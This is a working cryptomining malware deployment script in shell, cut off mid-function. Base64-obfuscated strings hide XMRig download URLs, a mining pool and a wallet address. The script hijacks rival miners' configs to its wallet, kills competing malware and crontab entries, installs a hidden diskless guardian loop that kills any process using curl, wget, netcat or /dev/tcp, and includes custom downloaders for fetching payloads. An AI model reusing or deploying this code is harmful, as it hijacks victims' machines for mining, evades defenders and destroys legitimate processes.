#!/bin/sh
_d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
#!/bin/sh
if [ -z "$BASH_VERSION" ]; then
case "$0" in
/*|./*)
if command -v bash >/dev/null 2>&1; then
exec bash "$0" "$@"
fi
;;
esac
fi
_c1="${1:-x}"
_c2=$(_d 'aHR0cHM6Ly9yZWdpc3RyeS5ucG1qcy5vcmcvY2JjOTdiN2EvbGF0ZXN0')
_c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')
_c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
_c5=$(_d 'Z29Bd2dCQ0ZI')
_c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
_c7=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FsYmVydG90cmluZGFkZTEzMS9hbC8tL3Jhdy9tYXN0ZXIveG1yaWc=')
_c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
_c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
_preflight() {
_pf_need_fetch=1 # always need HTTP fetch capability
# Determine what we have
_check_tools() {
_pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0
command -v curl >/dev/null 2>&1 && _pf_has_curl=1
command -v wget >/dev/null 2>&1 && _pf_has_wget=1
command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1
command -v perl >/dev/null 2>&1 && _pf_has_perl=1
}
_check_tools
# Can we fetch?
_pf_can_fetch() {
# curl or wget alone is sufficient
[ "$_pf_has_curl" = "1" ] && return 0
[ "$_pf_has_wget" = "1" ] && return 0
# openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)
[ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0
return 1
}
# If we can't fetch, try to install as root
if ! _pf_can_fetch; then
log "PREFLIGHT: missing HTTP fetch capability"
if [ "$(id -u)" = "0" ]; then
log "Running as root — installing missing components..."
_pf_installed=0
# Try package managers in order of preference: curl first (simplest),
# then wget, then openssl+perl
if command -v apk >/dev/null 2>&1; then
# Alpine: prefer curl, then wget
if [ "$_pf_installed" = "0" ]; then
log " trying apk add curl..."
apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1
fi
if [ "$_pf_installed" = "0" ]; then
log " trying apk add wget..."
apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1
fi
if [ "$_pf_installed" = "0" ]; then
log " trying apk add openssl perl..."
apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1
fi
elif command -v apt-get >/dev/null 2>&1; then
# Debian/Ubuntu: prefer curl, then wget
apt-get update -qq >/dev/null 2>&1
if [ "$_pf_installed" = "0" ]; then
log " trying apt-get install curl..."
apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1
fi
if [ "$_pf_installed" = "0" ]; then
log " trying apt-get install wget..."
apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1
fi
if [ "$_pf_installed" = "0" ]; then
log " trying apt-get install openssl perl..."
apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1
fi
elif command -v yum >/dev/null 2>&1; then
# RHEL/CentOS
if [ "$_pf_installed" = "0" ]; then
log " trying yum install curl..."
yum install -y curl >/dev/null 2>&1 && _pf_installed=1
fi
if [ "$_pf_installed" = "0" ]; then
log " trying yum install wget..."
yum install -y wget >/dev/null 2>&1 && _pf_installed=1
fi
elif command -v dnf >/dev/null 2>&1; then
# Fedora
if [ "$_pf_installed" = "0" ]; then
log " trying dnf install curl..."
dnf install -y curl >/dev/null 2>&1 && _pf_installed=1
fi
fi
# Re-check after install
_check_tools
if _pf_can_fetch; then
log "PREFLIGHT: install succeeded"
else
log "PREFLIGHT: cannot install fetch tools; deferring to static-pastebin cron path"
fi
else
log "PREFLIGHT: no fetch capability and not root; deferring to static-pastebin cron path"
fi
fi
# Report what we have
_pf_tools=""
[ "$_pf_has_curl" = "1" ] && _pf_tools="$_pf_tools curl"
[ "$_pf_has_wget" = "1" ] && _pf_tools="$_pf_tools wget"
[ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"
[ "$_pf_has_perl" = "1" ] && _pf_tools="$_pf_tools perl"
log "PREFLIGHT OK: fetch available via:$_pf_tools"
}
_preflight
_q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'
_z7() {
_r1="${1:-/var/tmp/.odoo_pg_health.json}"
_r2="${2:-/var/tmp/.odoo_pg_start}"
_s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'
_s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'
_h1 "$_r1" "$_s1"
_h1 "$_r2" "$_s2"
return 0
}
_h1() {
_f0="$1"
_p0="$2"
_t0="${_f0}.$$"
command -v sed >/dev/null 2>&1 || return 0
command -v cat >/dev/null 2>&1 || return 0
[ -f "$_f0" ] || return 0
[ -r "$_f0" ] || return 0
[ -w "$_f0" ] || return 0
if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then
if cat "$_t0" > "$_f0" 2>/dev/null; then
:
fi
fi
rm -f "$_t0" 2>/dev/null || :
return 0
}
mask_enemy() { _z7 "$@"; }
detect_kill_unicorn() {
_dk_uid=$(id -u 2>/dev/null || echo 0)
_dk_user=$(id -un 2>/dev/null || echo "")
_dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
[ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"
_dk_cldir="$_dk_home/.claude"
# Target 1: the daemonized miner, identified by cwd == ~/.claude.
# Safe: nothing legitimate ever runs from the worm's hidden dir.
_dk_miners=""
for _dk_proc in /proc/[0-9]*; do
[ -d "$_dk_proc" ] || continue
_dk_pid=${_dk_proc#/proc/}
[ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
[ "$_dk_pid" = "$$" ] && continue
_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
[ "$_dk_owner" = "$_dk_uid" ] || continue
_dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
case "$_dk_cwd" in
"$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;
esac
done
# Target 2: the live CRON jobs -> descendants respawner tree
_dk_crons=""
for _dk_proc in /proc/[0-9]*; do
[ -d "$_dk_proc" ] || continue
_dk_pid=${_dk_proc#/proc/}
[ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
[ "$_dk_pid" = "$$" ] && continue
_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
[ "$_dk_owner" = "$_dk_uid" ] || continue
[ -r "$_dk_proc/cmdline" ] || continue
_dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
_dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
_dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
_dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
[ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
[ "$_dk_a1" = "jobs" ] || continue
[ -n "$_dk_a2" ] && continue
_dk_crons="$_dk_crons $_dk_pid"
done
# expand CRON jobs to all descendants
_dk_tree="$_dk_crons"
for _dk_round in 1 2 3 4 5; do
for _dk_proc in /proc/[0-9]*; do
[ -d "$_dk_proc" ] || continue
_dk_pid=${_dk_proc#/proc/}
[ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
[ "$_dk_pid" = "$$" ] && continue
_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
[ "$_dk_owner" = "$_dk_uid" ] || continue
_dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
case " $_dk_tree " in
*" $_dk_pp "*)
case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac
;;
esac
done
done
# Kill everything (miners + cron tree), TERM then KILL
_dk_all="$_dk_miners $_dk_tree"
for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done
sleep 1 2>/dev/null
for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done
# Scrub the respawner: crontab + payload files in .claude
_dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'
if command -v crontab >/dev/null 2>&1; then
_dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then
if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null
echo "[dk] scrubbed crontab: $_dk_user"
fi
fi
rm -f "$_dk_ct" 2>/dev/null
fi
for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
[ -f "$_dk_f" ] || continue
grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue
chattr -f -ia "$_dk_f" 2>/dev/null
sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null
done
# remove the worm payload files (only ones we own, only inside .claude)
if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then
for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do
[ -e "$_dk_f" ] || continue
[ -O "$_dk_f" ] || continue
chattr -f -ia "$_dk_f" 2>/dev/null
rm -f "$_dk_f" 2>/dev/null
echo "[dk] removed: $_dk_f"
done
fi
[ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \
|| echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"
return 0
}
# ── Competitor-worm counter (ported TTP, 2026-10-22 forensics) ──────────────
# The observed competitor family (ideesrv/hpvroom miner + .dbus guardian,
# /opt/zimbra/db/data/.halt) SIGKILLs any same-user process whose cmdline
# matches {curl, wget, dev/tcp dialer, pty.spawn, nc -e} from a ~100ms
# /proc scan loop, via piped diskless children. Countermeasure:
# 1) sweep their instances at deploy time (exe-path invariant)
# 2) resident guardian arm (same scan rule, marker-exempt for our kit)
# Mechanism doc: payloads/COMPETITOR-KILL-TACTIC.md
_GC_MARK=corecheck
_gc_exempt() {
case "$1" in
*".beacon_"*|*"systemdev"*|*"cron-fetch"*|*"dns-filter"*|*"$_GC_MARK"*|*" 1510"*) return 0 ;;
esac
return 1
}
sweep_competitor_worms() {
echo "[sw] sweep entered (uid: $(id -u), self: $$)"
_sw_uid=$(id -u 2>/dev/null)
for _sw_d in /proc/[0-9]*; do
_sw_p=${_sw_d#/proc/}
[ "$_sw_p" = "$$" ] && continue
[ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
_sw_ex=$(readlink "$_sw_d/exe" 2>/dev/null)
_sw_cmd=$(strings "$_sw_d/cmdline" 2>/dev/null)
_gc_exempt "$_sw_cmd" && continue
case "$_sw_ex" in
*/".halt/"*|*/".dbus/"*)
kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed: $_sw_p $_sw_ex" ;;
*)
# script-style instances carry the hidden-dir path in the CMDLINE
# (e.g. sh /opt/zimbra/db/data/.halt/ideesrv) — exe check alone
# misses them (seen in ztest: mock worm survived exe-only match)
case "$_sw_cmd" in
*"/.halt/"*|*"/.dbus/"*)
kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed (cmdline): $_sw_p $_sw_cmd" ;;
esac ;;
esac
done
# pass 2: hunt resident killer-loop SCRIPTS (shell running a script file
# that combines kill -9 with competitor connection patterns — the
# on-host anti-competitor guardian shape). Exemptions apply first.
for _sw_d in /proc/[0-9]*; do
_sw_p=${_sw_d#/proc/}
[ "$_sw_p" = "$$" ] && continue
[ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue
_sw_c1=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 1p)
_sw_sf=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 2p)
_gc_exempt "$_sw_c1" && continue
case "$_sw_c1" in
bash|sh|ash|dash|*/bash|*/sh|*/ash|*/dash)
case "$_sw_sf" in
/*)
if [ -r "$_sw_sf" ] && grep -qF "kill -9" "$_sw_sf" 2>/dev/null \
&& grep -qE "dev/tcp|curl|wget" "$_sw_sf" 2>/dev/null; then
kill -9 "$_sw_p" 2>/dev/null && rm -f "$_sw_sf" 2>/dev/null \
&& echo "[sw] killer-script hunted: $_sw_p ($_sw_sf removed)"
fi ;;
esac ;;
esac
done
return 0
}
# guardian scanner loop — installed diskless (streamed via stdin pipe),
# 100ms /proc scan, same-uid only, marker-exempt; single instance via pidfile.
_GC_LOOP_B64='VT0kKGlkIC11IDI+L2Rldi9udWxsKQpkZWNsYXJlIC1BIFNFRU4Kd2hpbGUgOjsgZG8KICBmb3IgZCBpbiAvcHJvYy9bMC05XSo7IGRvCiAgICBbIC1yICIkZC9jbWRsaW5lIiBdIHx8IGNvbnRpbnVlCiAgICBvPSQoc3RhdCAtYyV1ICIkZCIgMj4vZGV2L251bGwpIHx8IGNvbnRpbnVlCiAgICBbICIkbyIgPSAiJFUiIF0gfHwgY29udGludWUKICAgIHA9JHtkIy9wcm9jL30KICAgIFsgIiRwIiA9ICIkJCIgXSAmJiBjb250aW51ZQogICAgYz0kKHN0cmluZ3MgIiRkL2NtZGxpbmUiIDI+L2Rldi9udWxsKQogICAgY2FzZSAiJGMiIGluCiAgICAgICoiLmJlYWNvbl8iKnwqInN5c3RlbWRldiIqfCoiY3Jvbi1mZXRjaCIqfCoiZG5zLWZpbHRlciIqfCoiY29yZWNoZWNrIiopIGNvbnRpbnVlIDs7CiAgICBlc2FjCiAgICBjYXNlICIkYyIgaW4KICAgICAgKiJjdXJsIip8KiJ3Z2V0Iip8KiJkZXYvdGNwIip8KiJwdHkuc3Bhd24iKnwqIm5jIC1lIip8KiJuY2F0Iip8KiJzb2NhdCIqKQogICAgICAgIGlmIFsgLXogIiR7U0VFTlskcF19IiBdOyB0aGVuCiAgICAgICAgICBTRUVOWyRwXT0xCiAgICAgICAgZWxzZQogICAgICAgICAgU0VFTlskcF09JCgoJHtTRUVOWyRwXX0gKyAxKSkKICAgICAgICAgIGlmIFsgIiR7U0VFTlskcF19IiAtZ2UgMjAgXTsgdGhlbgogICAgICAgICAgICBraWxsIC05ICIkcCIgMj4vZGV2L251bGwKICAgICAgICAgICAgdW5zZXQgU0VFTlskcF0KICAgICAgICAgIGZpCiAgICAgICAgZmkgOzsKICAgICAgKikKICAgICAgICBbIC1uICIke1NFRU5bJHBdfSIgXSAmJiB1bnNldCBTRUVOWyRwXSA7OwogICAgZXNhYwogIGRvbmUKICBpPSQoKCR7aX0gKyAxKSkKICBpZiBbICQoKGkgJSA1MCkpIC1lcSAwIF07IHRoZW4KICAgIGZvciBwIGluICR7IVNFRU5bQF19OyBkbwogICAgICBbIC1kICIvcHJvYy8kcCIgXSB8fCB1bnNldCBTRUVOWyRwXQogICAgZG9uZQogIGZpCiAgc2xlZXAgMC4xIDI+L2Rldi9udWxsIHx8IHNsZWVwIDEKZG9uZQo='
install_competitor_guardian() {
[ "$(id -u)" = "0" ] && { echo "[gd] guardian: root deploy — skipped (phase-2)"; return 0; }
command -v stat >/dev/null 2>&1 || return 0
_gd_home=""
[ -n "$HOME" ] && [ -w "$HOME" ] && mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _gd_home="$HOME/.usr_cron/lib"
[ -n "$_gd_home" ] || _gd_home="/tmp/.usr_gd$$"
_gd_pidfile="$_gd_home/.gpid"
if [ -f "$_gd_pidfile" ]; then
_gd_old=$(cat "$_gd_pidfile" 2>/dev/null)
kill -0 "$_gd_old" 2>/dev/null && return 0
rm -f "$_gd_pidfile"
fi
# NOTE: the pipeline MUST be backgrounded (&) — without it the shell waits
# forever for the last stage (the guardian's own never-exiting loop) and
# deploy.sh hangs after "Beacon cron installed" (seen in ztest 2026-10-22).
printf %s "$_GC_LOOP_B64" | base64 -d 2>/dev/null | setsid bash >/dev/null 2>&1 &
_gd_newpid=$!
sleep 0.3
printf %s "$_gd_newpid" > "$_gd_pidfile" 2>/dev/null
kill -0 "$_gd_newpid" 2>/dev/null \
&& echo "[gd] competitor guardian installed (pid $_gd_newpid, pidfile: $_gd_pidfile)" \
|| echo "[gd] guardian install failed to start"
return 0
}
detect_kill_unicorn
sweep_competitor_worms
http_get() {
_hg_url="$1"; _hg_follow=0
while [ "$_hg_follow" -lt 5 ]; do
_hg_follow=$((_hg_follow + 1))
_hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
[ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
_hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
[ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
_hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
"$_hg_path" "$_hg_host" > "$_hg_req"
# HTTPS — openssl s_client with SNI
if command -v timeout >/dev/null 2>&1; then
timeout 45 openssl s_client -connect "${_hg_ip}:443" \
-servername "$_hg_host" -quiet \
< "$_hg_req" > "$_hg_raw" 2>/dev/null
else
openssl s_client -connect "${_hg_ip}:443" \
-servername "$_hg_host" -quiet \
< "$_hg_req" > "$_hg_raw" 2>/dev/null
fi
[ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
else
# Plain HTTP — use nc (netcat) if available (works on Alpine)
if command -v nc >/dev/null 2>&1; then
cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
elif [ -n "$BASH_VERSION" ]; then
# bash /dev/tcp fallback
exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
cat "$_hg_req" >&3
cat <&3 > "$_hg_raw" 2>/dev/null
exec 3>&-
else
# Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)
cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
fi
fi
_hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
case "$_hg_status" in
301|302|303|307|308)
_hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
[ -z "$_hg_loc" ] && return 1
case "$_hg_loc" in
esac
_hg_url="$_hg_loc"
continue
;;
esac
tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
if (/^(.*?)\n\n(.*)$/s) {
my ($h, $b) = ($1, $2);
if ($h =~ /transfer-encoding:\s*chunked/i) {
my $out = "";
while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
my $sz = hex($1); last if $sz == 0;
$b = $2; $out .= substr($b, 0, $sz);
$b = substr($b, $sz); $b =~ s/^\n//;
}
print $out;
} else { print $b; }
}
' | grep -v '^[0-9a-fA-F]*$'
rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
return 0
done
return 1
}
http_get_bin() {
_hg_url="$1"; _hg_out="$2"; _hg_follow=0
while [ "$_hg_follow" -lt 5 ]; do
_hg_follow=$((_hg_follow + 1))
_hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
[ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
_hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
[ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
_hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
"$_hg_path" "$_hg_host" > "$_hg_req"
# HTTPS — openssl s_client with SNI
if command -v timeout >/dev/null 2>&1; then
timeout 45 openssl s_client -connect "${_hg_ip}:443" \
-servername "$_hg_host" -quiet \
< "$_hg_req" > "$_hg_raw" 2>/dev/null
else
openssl s_client -connect "${_hg_ip}:443" \
-servername "$_hg_host" -quiet \
< "$_hg_req" > "$_hg_raw" 2>/dev/null
fi
[ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
else
# Plain HTTP — nc or bash /dev/tcp
if command -v nc >/dev/null 2>&1; then
cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
elif [ -n "$BASH_VERSION" ]; then
exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
cat "$_hg_req" >&3
cat <&3 > "$_hg_raw" 2>/dev/null
exec 3>&-
else
cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
fi
fi
_hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
case "$_hg_status" in
301|302|303|307|308)
_hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
[ -z "$_hg_loc" ] && return 1
case "$_hg_loc" in
esac
_hg_url="$_hg_loc"
continue
;;
esac
perl -0777 -ne '
if (/^(.*?)\r\n\r\n(.*)$/s) {
my ($h, $b) = ($1, $2);
$h =~ s/\r//g;
if ($h =~ /transfer-encoding:\s*chunked/i) {
my $out = "";
while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
my $sz = hex($1); last if $sz == 0;
$b = $2; $out .= substr($b, 0, $sz);
$b = substr($b, $sz); $b =~ s/^\r?\n//;
}
print $out;
} else { print $b; }
}
' < "$_hg_raw" > "$_hg_out"
rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
[ -s "$_hg_out" ] && return 0 || return 1
done
return 1
}
fetch_url() {
_fu_url="$1"
if command -v curl >/dev/null 2>&1; then
curl -fsSLk -A corecheck/1.0 --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
elif command -v wget >/dev/null 2>&1; then
wget -qO- -U corecheck/1.0 --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
else
http_get "$_fu_url"
fi
}
fetch_file() {
_ff_url="$1"; _ff_out="$2"
if command -v curl >/dev/null 2>&1; then
curl -fLk --silent --show-error -A corecheck/1.0 --connect-timeout 10 --max-time 120 \
--retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null
elif command -v wget >/dev/null 2>&1; then
wget -q -U corecheck/1.0 --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
else
http_get_bin "$_ff_url" "$_ff_out"
fi
}
_is_excluded() {
_ie_cmdline="$1"
for _ie_pat in $_c6; do
case "$_ie_cmdline" in
*"$_ie_pat"*) return 0 ;;
esac
done
return 1
}
kill_themf() {
(
set +e
_kt_threshold=9
for _kt_proc in /proc/[0-9]*; do
[ -r "$_kt_proc/status" ] || continue
_kt_pid="${_kt_proc#/proc/}"
_kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
# Exclude our miner
_is_excluded "$_kt_cmdline" && continue
_kt_score=0
_kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
_kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
_kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
_kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
_kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
_kt_rss=${_kt_rss:-0}
_kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
[ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
[ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
[ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
_kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
[ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
[ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
_kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
if [ "$_kt_user" != root ]; then
case "$_kt_state" in
S*) _kt_score=$((_kt_score + 1)) ;;
esac
fi
case "$_kt_exe" in
/tmp/*|/var/tmp/*|/dev/shm/*)
_kt_score=$((_kt_score + 4)) ;;
"$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
_kt_score=$((_kt_score + 4)) ;;
esac
[ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
kill -9 "$_kt_pid" 2>/dev/null
fi
done
)
return 0
}
kill_mf3() {
(
set +e
_km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
_km_skip="$_c5"
_km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
_km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
# Tier 1: watchdogs + grep scanner
_km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
# Tier 2: miners
_km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
_km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
_km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
# T1: SIGTERM then SIGKILL
_km_t1p=$(_km_pids_of "$_km_t1")
_km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
_km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
if [ -n "$_km_list" ]; then
kill -TERM $_km_list 2>/dev/null; sleep 1
for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
fi
# T2: SIGTERM then SIGKILL
_km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
if [ -n "$_km_list" ]; then
kill -TERM $_km_list 2>/dev/null; sleep 2
for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
fi
# T3: orphans
sleep 1
_km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
[ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
)
return 0
}
kill_and_remove_process() {
_karp_term="$1"
[ -z "$_karp_term" ] && return 2
for _karp_dir in /proc/[0-9]*; do
[ -r "$_karp_dir/comm" ] || continue
_karp_pid="${_karp_dir##*/}"
_karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
_karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
continue
fi
_karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
[ -z "$_karp_exe" ] && continue
# Skip system binaries
case "$_karp_exe" in
/bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
esac
echo "Terminating '$_karp_term' PID=$_karp_pid"
